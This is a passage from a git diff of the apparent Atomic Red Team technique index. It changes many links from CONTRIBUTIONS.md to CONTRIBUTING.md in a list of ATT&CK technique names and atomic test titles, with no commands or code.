Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1216 Signed Script Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1045 Software Packing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1198 SIP and Trust Provider Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1064 Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1218 Signed Binary Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1216 Signed Script Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1045 Software Packing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1099 Timestomp](./T1099/T1099.md) - [T1127 Trusted Developer Utilities](./T1127/T1127.md) - Atomic Test #1: MSBuild Bypass Using Inline Tasks [windows] -- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1102 Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1102 Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) # privilege-escalation - [T1134 Access Token Manipulation](./T1134/T1134.md) @@ -95,16 +95,16 @@ - Atomic Test #5: Attaches Command Prompt As Debugger To Process - narrator [windows] - Atomic Test #6: Attaches Command Prompt As Debugger To Process - DisplaySwitch [windows] - Atomic Test #7: Attaches Command Prompt As Debugger To Process - AtBroker [windows] -- [T1182 AppCert DLLs](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1182 AppCert DLLs](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1103 AppInit DLLs](./T1103/T1103.md) - Atomic Test #1: Install AppInit Shim [windows] - [T1138 Application Shimming](./T1138/T1138.md) - Atomic Test #1: Application Shim Installation [windows] -- [T1088 Bypass User Account Control](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1038 DLL Search Order Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1068 Exploitation for Privilege Escalation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1181 Extra Window Memory Injection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1044 File System Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1088 Bypass User Account Control](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1038 DLL Search Order Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1068 Exploitation for Privilege Escalation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1181 Extra Window Memory Injection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1044 File System Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1179 Hooking](./T1179/T1179.md) - Atomic Test #1: Hook PowerShell TLS Encrypt/Decrypt Messages [windows] - [T1183 Image File Execution Options Injection](./T1183/T1183.md) @@ -113,19 +113,19 @@ - [T1050 New Service](./T1050/T1050.md) - Atomic Test #1: Service Installation [windows] - Atomic Test #2: Service Installation PowerShell Installs A Local Service using PowerShell [windows] -- [T1034 Path Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1013 Port Monitors](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1034 Path Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1013 Port Monitors](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1055 Process Injection](./T1055/T1055.md) - Atomic Test #1: Process Injection via mavinject.exe [windows] - Atomic Test #2: Process Injection via PowerSploit [windows] -- [T1178 SID-History Injection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1178 SID-History Injection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1053 Scheduled Task](./T1053/T1053.md) - Atomic Test #1: At.exe Scheduled task [windows] - Atomic Test #2: Scheduled task Local [windows] - Atomic Test #3: Scheduled task Remote [windows] -- [T1058 Service Registry Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1100 Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1058 Service Registry Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1100 Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) # persistence - [T1015 Accessibility Features](./T1015/T1015.md) @@ -136,40 +136,40 @@ - Atomic Test #5: Attaches Command Prompt As Debugger To Process - narrator [windows] - Atomic Test #6: Attaches Command Prompt As Debugger To Process - DisplaySwitch [windows] - Atomic Test #7: Attaches Command Prompt As Debugger To Process - AtBroker [windows] -- [T1182 AppCert DLLs](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1182 AppCert DLLs](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1103 AppInit DLLs](./T1103/T1103.md) - Atomic Test #1: Install AppInit Shim [windows] - [T1138 Application Shimming](./T1138/T1138.md) - Atomic Test #1: Application Shim Installation [windows] -- [T1131 Authentication Package](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1131 Authentication Package](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1197 BITS Jobs](./T1197/T1197.md) - Atomic Test #1: Download & Execute [windows] - Atomic Test #2: Download & Execute via PowerShell BITS [windows] -- [T1067 Bootkit](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1067 Bootkit](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1176 Browser Extensions](./T1176/T1176.md) - Atomic Test #1: Chrome (Developer Mode) [linux, windows, macos] - Atomic Test #2: Chrome (Chrome Web Store) [linux, windows, macos] - Atomic Test #3: Firefox [linux, windows, macos] - [T1042 Change Default File Association](./T1042/T1042.md) - Atomic Test #1: Change Default File Association [windows] -- [T1109 Component Firmware](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1109 Component Firmware](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1122 Component Object Model Hijacking](./T1122/T1122.md) - Atomic Test #1: PowerShell UAC Bypass [windows] - [T1136 Create Account](./T1136/T1136.md) -- [T1038 DLL Search Order Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1133 External Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1044 File System Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1038 DLL Search Order Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1133 External Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1044 File System Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1158 Hidden Files and Directories](./T1158/T1158.md) - [T1179 Hooking](./T1179/T1179.md) - Atomic Test #1: Hook PowerShell TLS Encrypt/Decrypt Messages [windows] -- [T1062 Hypervisor](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1062 Hypervisor](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1183 Image File Execution Options Injection](./T1183/T1183.md) - Atomic Test #1: IFEO Add Debugger [windows] - Atomic Test #2: IFEO GLobal Flags [windows] -- [T1177 LSASS Driver](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1177 LSASS Driver](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1037 Logon Scripts](./T1037/T1037.md) - Atomic Test #1: Logon Scripts [windows] -- [T1031 Modify Existing Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1031 Modify Existing Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1128 Netsh Helper DLL](./T1128/T1128.md) - Atomic Test #1: Netsh Helper DLL Registration [windows] - [T1050 New Service](./T1050/T1050.md) @@ -177,42 +177,42 @@ - Atomic Test #2: Service Installation PowerShell Installs A Local Service using PowerShell [windows] - [T1137 Office Application Startup](./T1137/T1137.md) - Atomic Test #1: DDEAUTO [windows] -- [T1034 Path Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1013 Port Monitors](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1108 Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1034 Path Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1013 Port Monitors](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1108 Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1060 Registry Run Keys / Start Folder](./T1060/T1060.md) - Atomic Test #1: Reg Key Run [windows] - Atomic Test #2: Reg Key RunOnce [windows] - Atomic Test #3: PowerShell Registry RunOnce [windows] - Atomic Test #4: Startup Folder [windows] -- [T1198 SIP and Trust Provider Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1198 SIP and Trust Provider Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1053 Scheduled Task](./T1053/T1053.md) - Atomic Test #1: At.exe Scheduled task [windows] - Atomic Test #2: Scheduled task Local [windows] - Atomic Test #3: Scheduled task Remote [windows] -- [T1180 Screensaver](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1101 Security Support Provider](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1058 Service Registry Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1023 Shortcut Modification](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1019 System Firmware](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1209 Time Providers](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1100 Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1180 Screensaver](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1101 Security Support Provider](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1058 Service Registry Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1023 Shortcut Modification](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1019 System Firmware](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1209 Time Providers](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1100 Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1084 Windows Management Instrumentation Event Subscription](./T1084/T1084.md) - Atomic Test #1: Persistence [windows] - Atomic Test #2: Persistence Cleanup [windows] -- [T1004 Winlogon Helper DLL](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1004 Winlogon Helper DLL](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) # discovery - [T1087 Account Discovery](./T1087/T1087.md) -- [T1010 Application Window Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1217 Browser Bookmark Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1010 Application Window Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1217 Browser Bookmark Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1083 File and Directory Discovery](./T1083/T1083.md) - Atomic Test #1: File and Directory Discovery [windows] - [T1046 Network Service Scanning](./T1046/T1046.md) - [T1135 Network Share Discovery](./T1135/T1135.md) -- [T1201 Password Policy Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1120 Peripheral Device Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1201 Password Policy Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1120 Peripheral Device Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1069 Permission Groups Discovery](./T1069/T1069.md) - [T1057 Process Discovery](./T1057/T1057.md) - [T1012 Query Registry](./T1012/T1012.md) @@ -228,7 +228,7 @@ - Atomic Test #1: System Information Discovery [windows] - [T1016 System Network Configuration Discovery](./T1016/T1016.md) - Atomic Test #1: System Network Configuration Discovery [windows] -- [T1049 System Network Connections Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1049 System Network Connections Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1033 System Owner/User Discovery](./T1033/T1033.md) - Atomic Test #1: System Owner/User Discovery [windows] - [T1007 System Service Discovery](./T1007/T1007.md) @@ -247,40 +247,40 @@ - Atomic Test #3: Windows Credential Editor [windows] - Atomic Test #4: Registry dump of SAM, creds, and secrets [windows] - [T1081 Credentials in Files](./T1081/T1081.md) -- [T1214 Credentials in Registry](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1212 Exploitation for Credential Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1187 Forced Authentication](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1214 Credentials in Registry](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1212 Exploitation for Credential Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1187 Forced Authentication](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1179 Hooking](./T1179/T1179.md) - Atomic Test #1: Hook PowerShell TLS Encrypt/Decrypt Messages [windows] - [T1056 Input Capture](./T1056/T1056.md) - Atomic Test #1: Input Capture [windows] -- [T1208 Kerberoasting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1171 LLMNR/NBT-NS Poisoning](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1040 Network Sniffing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1174 Password Filter DLL](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1208 Kerberoasting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1171 LLMNR/NBT-NS Poisoning](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1040 Network Sniffing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1174 Password Filter DLL](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1145 Private Keys](./T1145/T1145.md) - Atomic Test #1: Private Keys [windows] -- [T1091 Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1111 Two-Factor Authentication Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1091 Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1111 Two-Factor Authentication Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) # lateral-movement -- [T1017 Application Deployment Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1175 Distributed Component Object Model](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1210 Exploitation of Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1017 Application Deployment Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1175 Distributed Component Object Model](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1210 Exploitation of Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1037 Logon Scripts](./T1037/T1037.md) - Atomic Test #1: Logon Scripts [windows] - [T1075 Pass the Hash](./T1075/T1075.md) - Atomic Test #1: Mimikatz Pass the Hash [windows] - Atomic Test #2: Mimikatz Kerberos Ticket Attack [windows] -- [T1097 Pass the Ticket](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1097 Pass the Ticket](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1076 Remote Desktop Protocol](./T1076/T1076.md) - Atomic Test #1: RDP [windows] - [T1105 Remote File Copy](./T1105/T1105.md) -- [T1021 Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1091 Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1051 Shared Webroot](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1080 Taint Shared Content](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1072 Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1021 Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1091 Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1051 Shared Webroot](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1080 Taint Shared Content](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1072 Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1077 Windows Admin Shares](./T1077/T1077.md) - Atomic Test #1: TODO [windows] - [T1028 Windows Remote Management](./T1028/T1028.md) @@ -301,44 +301,44 @@ - Atomic Test #2: PowerShell [windows] - [T1074 Data Staged](./T1074/T1074.md) - Atomic Test #1: Stage data from Discovery.bat [windows] -- [T1213 Data from Information Repositories](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1005 Data from Local System](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1039 Data from Network Shared Drive](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1025 Data from Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1114 Email Collection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1213 Data from Information Repositories](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1005 Data from Local System](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1039 Data from Network Shared Drive](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1025 Data from Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1114 Email Collection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1056 Input Capture](./T1056/T1056.md) - Atomic Test #1: Input Capture [windows] -- [T1185 Man in the Browser](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1185 Man in the Browser](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1113 Screen Capture](./T1113/T1113.md) -- [T1125 Video Capture](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1125 Video Capture](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) # exfiltration -- [T1020 Automated Exfiltration](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1020 Automated Exfiltration](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1002 Data Compressed](./T1002/T1002.md) - Atomic Test #1: Compress Data for Exfiltration With PowerShell [windows] - Atomic Test #2: Compress Data for Exfiltration With Rar [windows] - [T1022 Data Encrypted](./T1022/T1022.md) - [T1030 Data Transfer Size Limits](./T1030/T1030.md) - [T1048 Exfiltration Over Alternative Protocol](./T1048/T1048.md) -- [T1041 Exfiltration Over Command and Control Channel](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1011 Exfiltration Over Other Network Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1052 Exfiltration Over Physical Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1029 Scheduled Transfer](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1041 Exfiltration Over Command and Control Channel](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1011 Exfiltration Over Other Network Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1052 Exfiltration Over Physical Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1029 Scheduled Transfer](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) # execution - [T1191 CMSTP](./T1191/T1191.md) - Atomic Test #1: CMSTP Executing Remote Scriptlet [windows] - [T1059 Command-Line Interface](./T1059/T1059.md) -- [T1196 Control Panel Items](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1196 Control Panel Items](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1173 Dynamic Data Exchange](./T1173/T1173.md) - Atomic Test #1: Execute Commands [windows] -- [T1106 Execution through API](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1129 Execution through Module Load](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1203 Exploitation for Client Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1061 Graphical User Interface](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1106 Execution through API](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1129 Execution through Module Load](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1203 Exploitation for Client Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1061 Graphical User Interface](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1118 InstallUtil](./T1118/T1118.md) - Atomic Test #1: InstallUtil uninstall method call [windows] -- [T1177 LSASS Driver](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1177 LSASS Driver](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1170 Mshta](./T1170/T1170.md) - Atomic Test #1: Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject [windows] - [T1086 PowerShell](./T1086/T1086.md) @@ -360,14 +360,14 @@ - Atomic Test #1: At.exe Scheduled task [windows] - Atomic Test #2: Scheduled task Local [windows] - Atomic Test #3: Scheduled task Remote [windows] -- [T1064 Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1035 Service Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1218 Signed Binary Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1216 Signed Script Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1072 Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1064 Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1035 Service Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1218 Signed Binary Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1216 Signed Script Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1072 Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1127 Trusted Developer Utilities](./T1127/T1127.md) - Atomic Test #1: MSBuild Bypass Using Inline Tasks [windows] -- [T1204 User Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1204 User Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1047 Windows Management Instrumentation](./T1047/T1047.md) - Atomic Test #1: WMI Reconnaissance Users [windows] - Atomic Test #2: WMI Reconnaissance Processes [windows] @@ -380,36 +380,36 @@ - Atomic Test #4: Psexec [windows] # command-and-control -- [T1043 Commonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1092 Communication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1090 Connection Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1094 Custom Command and Control Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1024 Custom Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1132 Data Encoding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1001 Data Obfuscation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1172 Domain 